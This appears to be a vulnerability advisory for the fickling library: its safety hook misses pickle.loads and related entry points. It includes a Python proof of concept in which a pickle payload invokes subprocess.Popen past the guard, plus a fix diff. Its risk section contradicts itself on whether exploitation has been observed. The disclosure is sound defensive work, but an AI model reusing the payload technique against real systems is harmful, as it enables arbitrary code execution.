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GHSA-wccx-j62j-r448

HighCVSS 8.9 / 10
Published Mar 4, 2026·Last modified Mar 4, 2026
Affected Components(0)

No affected components available

Description

Assessment

The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

Original report

Summary

fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

Affected versions

<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)

Non-duplication check against published Fickling GHSAs

No published advisory covers hook-coverage bypass in run_hook(). Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

Root cause

run_hook() patches only:

  • pickle.load
  • pickle.Unpickler
  • _pickle.Unpickler

It does not patch:

  • pickle.loads
  • _pickle.load
  • _pickle.loads

Reproduction (clean upstream)

import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError

class Payload:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload())
fickling.always_check_safety()

# Bypass path
with patch('subprocess.Popen') as popen_mock:
    pickle.loads(data)
    print('bypass sink called?', popen_mock.called)  # True

# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
    try:
        pickle.load(io.BytesIO(data))
    except UnsafeFileError:
        pass
    print('blocked sink called?', popen_mock.called)  # False

Observed on vulnerable code:

  • pickle.loads executes payload
  • pickle.load is blocked

Minimal patch diff

--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
 def run_hook():
-    pickle.load = loader.load
+    pickle.load = loader.load
+    _pickle.load = loader.load
+    pickle.loads = loader.loads
+    _pickle.loads = loader.loads

Validation after patch

  • pickle.loads, _pickle.loads, and _pickle.load all raise UnsafeFileError
  • sink not called in any path

Regression tests added locally:

  • test_run_hook_blocks_pickle_loads
  • test_run_hook_blocks__pickle_load_and_loads in test/test_security_regressions_20260303.py

Impact

High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.

Risk Scores
Base Score
8.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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